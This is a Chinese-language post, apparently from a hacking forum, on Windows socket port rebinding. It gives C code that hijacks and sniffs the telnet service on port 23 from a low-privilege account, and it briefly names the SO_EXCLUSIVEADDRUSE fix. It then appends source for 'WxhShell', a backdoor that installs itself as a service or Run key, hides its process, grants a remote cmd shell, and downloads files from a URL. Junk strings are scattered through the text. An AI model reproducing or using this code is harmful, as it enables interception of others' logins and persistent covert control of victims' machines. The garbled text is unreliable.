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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hTO2+F* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NL
` MUZ]*n&0 saddr.sin_family = AF_INET; }&7kT7ogO vf>d{F^rv saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^J-Xy\X |[5;dt_U/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A9SL|9Q n2-+.9cY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uUHWTyoO
(i(E~^O 这意味着什么?意味着可以进行如下的攻击: n7~3~i`D; vvY?8/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,KM%/;1Dm YwY?tOxBe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0e#PN@ Z/: yYSq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E Lq1 `$JZJ!,A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 )S4ga , vvfk=- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '^WR5P<8c (t5y$bc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }yrs6pQ iNi1+sm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lU=VCuW! [];wP'* #include '>1M~B #include D?S|]]Y!q #include c8 #include !WGQ34R { DWORD WINAPI ClientThread(LPVOID lpParam); .j,xh )v" int main() s/J7z$NEU { S?i^ ~ WORD wVersionRequested; h7K,q S DWORD ret; x4g6Qze WSADATA wsaData; 9cN@y<_I BOOL val; iKu3'jZ/O SOCKADDR_IN saddr; cy
mC?8< SOCKADDR_IN scaddr; .Xf_U.h$*@ int err; )$f?v22 SOCKET s; }D)eS |B SOCKET sc; 3I}AA.h'00 int caddsize; n{<@-6 HANDLE mt; nIB eZof DWORD tid; k:~UBs\)( wVersionRequested = MAKEWORD( 2, 2 ); /o6ido err = WSAStartup( wVersionRequested, &wsaData ); 3"0QW4A if ( err != 0 ) { =z9,=rR4 printf("error!WSAStartup failed!\n"); IRk)u` return -1; _a"|
:kX } 6K8v:yYPa saddr.sin_family = AF_INET; 6?US<<MQ mP15PZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 avG#0AY \,p?pL<' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fM]nP4K` saddr.sin_port = htons(23); q0>9T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) />9`Mbg[G { ]P7gEBi printf("error!socket failed!\n"); 5lzbg return -1; b9i_\ } jM6$R1HX val = TRUE; ]
X]!xvN@ //SO_REUSEADDR选项就是可以实现端口重绑定的 xZ2 1iQeN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $?:IRgAr { d@*dbECG printf("error!setsockopt failed!\n"); >zJk G9a return -1; yCkWuU9 } B$JPE7h@[P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^qC.bv]& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Xu_1r8-|=b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qz{Vl>" !(Y|Vm' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (?XIhpd { !7#*Wdt+P ret=GetLastError(); q |Pebe= printf("error!bind failed!\n"); p*cyW l return -1; GpXf).a@ } r?0w5I listen(s,2); dE[X6$H[ while(1) >yVrIko { JDnWBE V caddsize = sizeof(scaddr); L!/{Z //接受连接请求 9,Dw;|A] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {#z47Rz if(sc!=INVALID_SOCKET) ]+qd|}^ { Jq>5:"jZ0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p'@z}T?F if(mt==NULL) h;}
fdk { S$wC{7?f printf("Thread Creat Failed!\n"); VOATza` break; ]NWcd~"b!Z } at*DYZBjDB } C$at9=(E6 CloseHandle(mt); '5T:*Yh } 'X&"(M closesocket(s); F!C<^q~! WSACleanup(); &V&beq4)p return 0; 7{S;~VH3 } )Rk(gd DWORD WINAPI ClientThread(LPVOID lpParam) d*([!!i { BUh(pS: SOCKET ss = (SOCKET)lpParam; =.m/X> SOCKET sc; *E|3Vy{4 unsigned char buf[4096]; bccf4EyQ
Y SOCKADDR_IN saddr; 8h}1t4k long num; yswf2F DWORD val; t?weD{O DWORD ret; ph2
_P[S' //如果是隐藏端口应用的话,可以在此处加一些判断 Vn/FW?d7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |N^8zo : saddr.sin_family = AF_INET; ;uZq_^?:9& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6_9@s*=d> saddr.sin_port = htons(23); Lq@uwiq! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dg
~k"Ice { JGzEm>_m printf("error!socket failed!\n"); T`I4_x return -1; !14v Ovj4{ } Esj1Vv# val = 100; 6@(o8i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +'[*ikxD=g { OCqknA ret = GetLastError(); 5HAAa I return -1; E`wq`g`H< } PP_ar{|7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ me/ve { 1':};}dCJ ret = GetLastError(); Y|-&= return -1; e5n"(s"G*[ } +rrA>~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FB~IO#E8W { G)3r[C^[k printf("error!socket connect failed!\n"); ?FZ)
LZM closesocket(sc); Qq.Ja%Zq closesocket(ss); F A%BzU5^ return -1; CA/Lv{[2 } hx~rq`{ while(1) q(#,X~0 { u~N'UD1x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#V[Os!ns //如果是嗅探内容的话,可以再此处进行内容分析和记录 01%0u8U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gHWsKE
% num = recv(ss,buf,4096,0); mI;\ UOh' if(num>0) NeewV=[% send(sc,buf,num,0); (I1^nrDP. else if(num==0) h)r=+Q\'(S break; 1:I _;O_ num = recv(sc,buf,4096,0); b^P\Kky if(num>0) gb^'u send(ss,buf,num,0); cS#| _ else if(num==0) >(W t break;
7<5=fYbr } B|AIl+y closesocket(ss); -BrJ5]T>* closesocket(sc); ?IiFFfs return 0 ; .z,`{-7U } 4%jQHOZ |L
< #J$z0%P ========================================================== C8 $KVZ }%,LV]rGEZ 下边附上一个代码,,WXhSHELL P[ , j'SGZnsy* ========================================================== 4"+v:t)z6{ lp1GK/!s #include "stdafx.h" t0ZaI E WsmP]i^Q #include <stdio.h> k,/2]{#53d #include <string.h> R8j\CiV17 #include <windows.h> m]VOw)mBF #include <winsock2.h> (6)X Fp& #include <winsvc.h> q:,ck@-4 #include <urlmon.h> P`n"E8"ab< 55Ye7P-d #pragma comment (lib, "Ws2_32.lib") TI^X gl~ #pragma comment (lib, "urlmon.lib") 3pkx3tp{ C^
~[b
o #define MAX_USER 100 // 最大客户端连接数 `6*1mE1K& #define BUF_SOCK 200 // sock buffer wqt/0,\ #define KEY_BUFF 255 // 输入 buffer 1(a+| @WzrrCpj #define REBOOT 0 // 重启 pm*i!3g' #define SHUTDOWN 1 // 关机 S^SF!k= `{nzw $ #define DEF_PORT 5000 // 监听端口 ~=Fp0l)# Rdy-6 #define REG_LEN 16 // 注册表键长度 Ke\FzZ] #define SVC_LEN 80 // NT服务名长度 U]iZ3^8VT ^F+7@*u // 从dll定义API Qy'-3GB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); chU,));F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3hR3)(+1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 04!akPP< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -$f$z(h `n%8y I% // wxhshell配置信息 aw1f;&K4 struct WSCFG { cq1)b\ | int ws_port; // 监听端口 EvDg{M} char ws_passstr[REG_LEN]; // 口令 kO8oH8Vt int ws_autoins; // 安装标记, 1=yes 0=no 5S%#3YHY2 char ws_regname[REG_LEN]; // 注册表键名 V_H0z char ws_svcname[REG_LEN]; // 服务名 e>_Il']Mb char ws_svcdisp[SVC_LEN]; // 服务显示名 Z}r9jM char ws_svcdesc[SVC_LEN]; // 服务描述信息 _I#a`G char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yJHFo[wGMJ int ws_downexe; // 下载执行标记, 1=yes 0=no (!diPwcv char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }H9V$~}@- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Rr Qv( M_#^zo
"x }; S(5&%}QFQ E"t79dD // default Wxhshell configuration [gE2;J0* struct WSCFG wscfg={DEF_PORT, d>`s+B9K0 "xuhuanlingzhe", Jgzg[6 1, h1Q rFPQnu "Wxhshell", }LdeU:E4 "Wxhshell", K55]W2I9 "WxhShell Service", Q+^ "v]V`d "Wrsky Windows CmdShell Service", h8? E+0 "Please Input Your Password: ", 2~W8tv0^b2 1, |F?/L> " http://www.wrsky.com/wxhshell.exe", .^!uazPE0 "Wxhshell.exe" s!j vBy }; a^Lo;kHY [7=?I.\Cr7 // 消息定义模块 rPoq~p[Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tD3v`Ke char *msg_ws_prompt="\n\r? for help\n\r#>"; [O^mG
9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Q~$hx{foN char *msg_ws_ext="\n\rExit."; Gq;!g( char *msg_ws_end="\n\rQuit."; tp3
!6I6 char *msg_ws_boot="\n\rReboot..."; $or8z2d1 char *msg_ws_poff="\n\rShutdown..."; 9{n?Jy char *msg_ws_down="\n\rSave to "; |Ht~o(]&&/ fTV}IP char *msg_ws_err="\n\rErr!"; 2g_2$)2 char *msg_ws_ok="\n\rOK!"; `EzC'e ](sT,' char ExeFile[MAX_PATH]; \={A%pA;@{ int nUser = 0; U
jB5Xks HANDLE handles[MAX_USER]; U:O&FE int OsIsNt; "A3V(~%! %&S :W%qm? SERVICE_STATUS serviceStatus; j<_)Y(x> SERVICE_STATUS_HANDLE hServiceStatusHandle; ?wbf)fbq pwr]lV$w // 函数声明 3^p;'7x int Install(void); hGlRf_{ int Uninstall(void); ~mu)Cw int DownloadFile(char *sURL, SOCKET wsh); 7&
G#&d int Boot(int flag); )+12r6W void HideProc(void); jV|/ C int GetOsVer(void); :,FI 6` int Wxhshell(SOCKET wsl); M07==R7 void TalkWithClient(void *cs); ev%}\^Vl[ int CmdShell(SOCKET sock); }1pG0V4 int StartFromService(void); #)EVi7UP int StartWxhshell(LPSTR lpCmdLine); v[=TPfX0 ^WmP,Xf# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SOo}}a0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); YV/JZc f RI-)Qx&!f // 数据结构和表定义 2f7]=snCG SERVICE_TABLE_ENTRY DispatchTable[] = zUd{9B$ { f|-%., {wscfg.ws_svcname, NTServiceMain}, uUI@!)@2 {NULL, NULL} E|hW{ oX3 }; X1~ WQ?ww k5]`:k6 // 自我安装 5Ak6 q(\ int Install(void) KeE)9e { i[a1ij= char svExeFile[MAX_PATH]; CxJkT2 HKEY key; =/L;}m)7 strcpy(svExeFile,ExeFile); $VyH2+ jC V[r1bF // 如果是win9x系统,修改注册表设为自启动 ok<!/"RX$ if(!OsIsNt) { a;[=bp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O2C&XeB:4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $jgEB+ RegCloseKey(key); )0p7d:%mV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dSw%Qv*y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qQx5n RegCloseKey(key); :x/L.Bz return 0; *HXx;: } x*2I]4 } ?_Y2'O } VqK/GWg else { !_#2$J*s^D
/DN!" // 如果是NT以上系统,安装为系统服务 2C_/T8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Zow C#j if (schSCManager!=0) f<v:Tg.[ { J}3 7 9 SC_HANDLE schService = CreateService i2(lqhaP ( l!YjDm{E schSCManager, $g+q;Y~i0 wscfg.ws_svcname, ;Vh5nO wscfg.ws_svcdisp, |}^BF%8V: SERVICE_ALL_ACCESS, e:kd0)9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OXCf SERVICE_AUTO_START, _vgFcE~E@ SERVICE_ERROR_NORMAL, %q)*8 svExeFile, NoG`J$D NULL, <m!(eLm+B NULL, 47
*, NULL, [Uw/;Kyh NULL, z9)I@P" NULL L>Soj|WUy( ); Xj(" if (schService!=0) [[;vZ { !$5.\D CloseServiceHandle(schService); F F7 CloseServiceHandle(schSCManager); >@wyiBU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?R VY%s;g strcat(svExeFile,wscfg.ws_svcname); _k2*2db if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nFY6K%[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $wx)/t< RegCloseKey(key); /WWD;keP5 return 0; s`Z'5J;S } v<c@bDZ> } d0MF\yxh CloseServiceHandle(schSCManager); .S=^) } SBynu } +X &b Zr
U9oy&!C return 1; ?*h2:a$ } ~i ImM|*0 g8^YDrH // 自我卸载 BqA int Uninstall(void) xesZ7{ o { \vQjTM-7 HKEY key; v;m}<3@' e;ej/)no` if(!OsIsNt) { ="*:H) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i1E~ F RegDeleteValue(key,wscfg.ws_regname); JTn\NSa
RegCloseKey(key);
x."/+/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h<8.0 RegDeleteValue(key,wscfg.ws_regname); ?rG>SA>o RegCloseKey(key); q V+gQ return 0; c
Oi:bC@ } ?6=u[))M& } ,J63?EQ3 } vOl<
else { ~p0M| i^zncDMA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sa26u`? if (schSCManager!=0) uO,9h0y0W {
E,nxv+AQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 50l!f7 if (schService!=0) m5/d=k0l { B"rfR_B2M# if(DeleteService(schService)!=0) { [)E.T,fjMQ CloseServiceHandle(schService); CMI V"- CloseServiceHandle(schSCManager); Sb;=YW
1< return 0; +.u)\'r;h } 1ae,s{| CloseServiceHandle(schService); GV"Hk E; } f,_EPh> CloseServiceHandle(schSCManager); #uzp } <*4BT}r,^2 } BD(Y=g >.)m|, return 1; l9eCsVQ~V } v==b.
2= {-fhp@; // 从指定url下载文件 m\hzQ9 int DownloadFile(char *sURL, SOCKET wsh) ?Dr K2;q { Wu!s HRESULT hr; !iO%?nW; char seps[]= "/"; 6yN8(&` char *token; SZhW)0 char *file; S);SfNh%CL char myURL[MAX_PATH]; )*wM
DM5q char myFILE[MAX_PATH]; E1&9( L5 4%s6 d,6" strcpy(myURL,sURL); }+{?
Ms token=strtok(myURL,seps); } qf=5v while(token!=NULL) f=L&>X { Q*J8`J:#^R file=token; $k|:V&6SV token=strtok(NULL,seps); :p@.aD5 } &Oih#I VoTnm GetCurrentDirectory(MAX_PATH,myFILE); bz1+AJG strcat(myFILE, "\\"); kU
{>hG4 strcat(myFILE, file); 5@kNvi send(wsh,myFILE,strlen(myFILE),0); oXxY$x*R1 send(wsh,"...",3,0); +6$ |No hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ls928 if(hr==S_OK) |v6kZ0B< return 0; 3m#/1=@o else aA|<W
g return 1; XJ3p< dN%*-p( } ruKm_j#J 8`{)1.d5[ // 系统电源模块 'kC,pN{-> int Boot(int flag) N-9Vx#i { Sl!#!FGI HANDLE hToken; /YLHg5n8+ TOKEN_PRIVILEGES tkp; R|&Rq(ow" Sz_{ #- if(OsIsNt) { Z?);^m|T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o;zU;pkB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @|jLw($Ly tkp.PrivilegeCount = 1; |K(2_Wp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |g@n'^] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5C|Y-G if(flag==REBOOT) { u3B[1Ae:K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *:+&SxL return 0; /~O>He } 6VsgZ"Il else { ?DwI>< W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DT Cwf return 0; \{8?HjJEM } %wDE+&M } >STAPrBp+ else { zarxv|
}$ if(flag==REBOOT) { BWWO=N
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P5K=S.g return 0; c&mLK1A6 } L/Ytk ag else { WCdl 25L# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o
_G,Ph!7 return 0; aWCZ1F } n?[JPG2X } i0TbsoKh: (\8~W*ej" return 1; RXD*;B$v } X>la!}sV UD!-.I] // win9x进程隐藏模块 t4P`#,:8 void HideProc(void) xk:=.Qqh { 'e(]woe "PD^]m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kF@Z4MB}yr if ( hKernel != NULL ) VL?sfG0 { Mjon++>Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wwuM!Z+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k Xg&}n7 FreeLibrary(hKernel); 44x+2@&1 } lM|}K-2 @fc-[pv return; \}n\cUy- } g!\H^d4
@BmI1 // 获取操作系统版本 Hh1]\4D,4 int GetOsVer(void) F<+!28&h { [X%Wg:K OSVERSIONINFO winfo; Z^[
]s1iP} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Img$D*BM GetVersionEx(&winfo);
Nt
w?~% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D^Gs_z$[' return 1;
F%tV^$% else )yt_i'D} return 0; (Qcd !! } #
E{2 !Z yp!7^ // 客户端句柄模块 A/c #2 int Wxhshell(SOCKET wsl) )Ggv_mc h { Pxvf"SXX SOCKET wsh; ZamOYkRX struct sockaddr_in client; N;q)[Dr DWORD myID; B{lj.S`mB KPrH1 [VU while(nUser<MAX_USER) _qO'(DKylC { Tpd|+60g int nSize=sizeof(client); F+SqJSa wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4~K%,K+Du if(wsh==INVALID_SOCKET) return 1; LG+2?+tE" 0 L$[w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kj>!&W57 if(handles[nUser]==0) sW,JnR closesocket(wsh); W8_$]}G8E else Rz#q68 nUser++; _M)
G } 2j;9USZ
p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %#<MCiaK |Zk2]eUO+ return 0; SaIY-PC } |E9'ii&?B ^)UX#D3b // 关闭 socket AnK~<9WQj void CloseIt(SOCKET wsh) 9vauCIfVC { ]SmN}Iq1 closesocket(wsh); 6]sP" nUser--; )`BKEaf ExitThread(0); 4q"4N2 } <Ej`zGhWz 4D}hYk$eP0 // 客户端请求句柄 = inp>L void TalkWithClient(void *cs) !<3!ORFO { 0Lf4^9N v&qL r+_7 SOCKET wsh=(SOCKET)cs; jVPX]8 char pwd[SVC_LEN]; c`@";+|r char cmd[KEY_BUFF]; q-s(2C char chr[1]; bE;c&g int i,j; )|=4H>?% ek"Uq RY while (nUser < MAX_USER) { zP&D tv_&PIu]L if(wscfg.ws_passstr) { mxE< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cgi:"y F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b_X&>^4Dkl //ZeroMemory(pwd,KEY_BUFF); ,M9e * i=0; ~1&WR`U while(i<SVC_LEN) { Ew JNpecX TM5 Y(Q* // 设置超时 EsS$th)d fd_set FdRead; P1R5}i struct timeval TimeOut; 2){O&8 A FD_ZERO(&FdRead); PJYUD5 FD_SET(wsh,&FdRead); wF9L<<&B TimeOut.tv_sec=8; O6ph_$nt. TimeOut.tv_usec=0; 9:*[Q"v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6>]w1
H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;0U*N &
f HbRvU}C1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >6R3KJe pwd =chr[0]; r
)HZaq if(chr[0]==0xd || chr[0]==0xa) { pm=m~ pwd=0; .8->n aj| break; J&iSS9c } #aQQd8 i++; l8khu)\n4R } la}cGZ; p. f^ja2.*%? // 如果是非法用户,关闭 socket a^8PB|G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ' 55G:r39 } I~;w Q {
V)`6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Re2&qxE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qvty;2$o@ T 5F) while(1) { %fnG v\uI Y1ks'=c> ZeroMemory(cmd,KEY_BUFF); SpImd IpD j9rxu$N+ // 自动支持客户端 telnet标准 ;80^ GDk~S j=0; HB{'MBs while(j<KEY_BUFF) { z-qbe97 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *7E#=xb cmd[j]=chr[0]; 4l7
Ny\J if(chr[0]==0xa || chr[0]==0xd) { zn>+\ cmd[j]=0; wBvVY3VQ^
break; =P%&]5ts }
Q6RTH j++; ;NH^+h } $}AbR:z Ia<V\$ # // 下载文件 )tKSooW if(strstr(cmd,"http://")) { R+U$;r8l send(wsh,msg_ws_down,strlen(msg_ws_down),0); M!kSt1 if(DownloadFile(cmd,wsh)) @H<*|3J send(wsh,msg_ws_err,strlen(msg_ws_err),0); ''(rC38 else u>]3?ty` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m8;w7S7,j~ } |Iw glb!k else { |lcp
(u*u ="5D}%
switch(cmd[0]) { ,/%'""`w <=V{tl // 帮助 `KN>0R2k case '?': { O5aXa_A_u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @gfW*PNjlP break; lKB9n}P } ,zdGY]$ // 安装 i!RfUod case 'i': { lm
96:S if(Install()) S2e3d send(wsh,msg_ws_err,strlen(msg_ws_err),0); _3:%b6&Pz else ]'"Sa<-> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 641P) break; 71y{Dwya } l -xc*lC // 卸载 x1?mE)n] case 'r': { "a=Hr4C*r if(Uninstall()) &y}7AV send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,:e~aG,B else J8!2Tt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {x?qz~W break; uDP:kM } :SS \2 // 显示 wxhshell 所在路径 v2 E <~/| case 'p': { /IG{j} char svExeFile[MAX_PATH]; Y X^c}t}U strcpy(svExeFile,"\n\r"); [8a(4]4 strcat(svExeFile,ExeFile); s~].iQJ{B send(wsh,svExeFile,strlen(svExeFile),0); W2#<]]- break; [#C6K ' } vX\9#Hj // 重启 rHTZM,zM=H case 'b': { gu!!}pwV9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c)LG+K if(Boot(REBOOT)) pa1<=w send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5E-;4o;RI( else { g{Al:}u> closesocket(wsh); (^35cj{s ExitThread(0); 8W{M}>;[9 } HWsV_VAw} break; 0\{dt4nW&O } uQKQC?w // 关机 OemY'M?ZQ case 'd': { 5, ,~k= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |y[I!JdR if(Boot(SHUTDOWN)) 7H5VzV send(wsh,msg_ws_err,strlen(msg_ws_err),0); ewU*5|*[ else { [9${4=Kq closesocket(wsh); J?w_DQa ExitThread(0); Zs
/>_w} } YD'gyP4 break; XQ]vJQYIR } a1~|?PCbY // 获取shell 9gcW; case 's': { &J&'J~N CmdShell(wsh); hNM8H closesocket(wsh); U?sHh2* ExitThread(0); Tj#S')s8 break; :31_WJ^ } ()IZ7#kL? // 退出 e{@RBYX@+c case 'x': { J`U]Ux/L send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1hY| XZ%qd CloseIt(wsh); | J3'#7 break; ANFes*8j } &liON1GLM // 离开 q* p case 'q': { LDc EjFK( send(wsh,msg_ws_end,strlen(msg_ws_end),0); NgDhdOB closesocket(wsh);
5[Vr {^) WSACleanup(); SK\@w9#&$ exit(1); oI{.{] break; hK3-j;eg } x<gmDy* } yws'}{8 } <E4(KE Tse#{ // 提示信息 ~^1y(-cw if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UHZ&7jfl } \{ @m } Wp>t\S~N 5G}4z>-]F) return; fA6IW(_bi } rJpr;QKf% 6}TunR // shell模块句柄 y>y2,x+[ int CmdShell(SOCKET sock) ?Ts]zO%%Z { Gk*u^J( STARTUPINFO si; IQPu%n{0v ZeroMemory(&si,sizeof(si)); yMz#e0k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m"n74cxS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hn8xs5vN PROCESS_INFORMATION ProcessInfo; -lhIL}mGf char cmdline[]="cmd"; ]ZcivnN# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x
vs=T return 0; .jCGtR )% } X[o+Y@bc !0,q[|m // 自身启动模式 Wlhh0uy int StartFromService(void) T]De{nH u { SA +d4P_T typedef struct +c))fPuV { O`~#X w DWORD ExitStatus; O JcS%-~ DWORD PebBaseAddress; /aI@2] |~ DWORD AffinityMask; yjjq&Cn DWORD BasePriority; +>#SNZ[ ULONG UniqueProcessId; 2T&MVl!% ULONG InheritedFromUniqueProcessId; PY5 &Fwjc } PROCESS_BASIC_INFORMATION; uCDe>Q4@/ r'OqG^6JFN PROCNTQSIP NtQueryInformationProcess; idYB.]Y( ,ErfTg&^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zWEPwOlI1P static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O`@Nl Fa%1]R HANDLE hProcess; Ab@G^SLX PROCESS_BASIC_INFORMATION pbi; irAXXg 0F |t@?S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kyh>O)"G^% if(NULL == hInst ) return 0; =\O#F88ui GOc
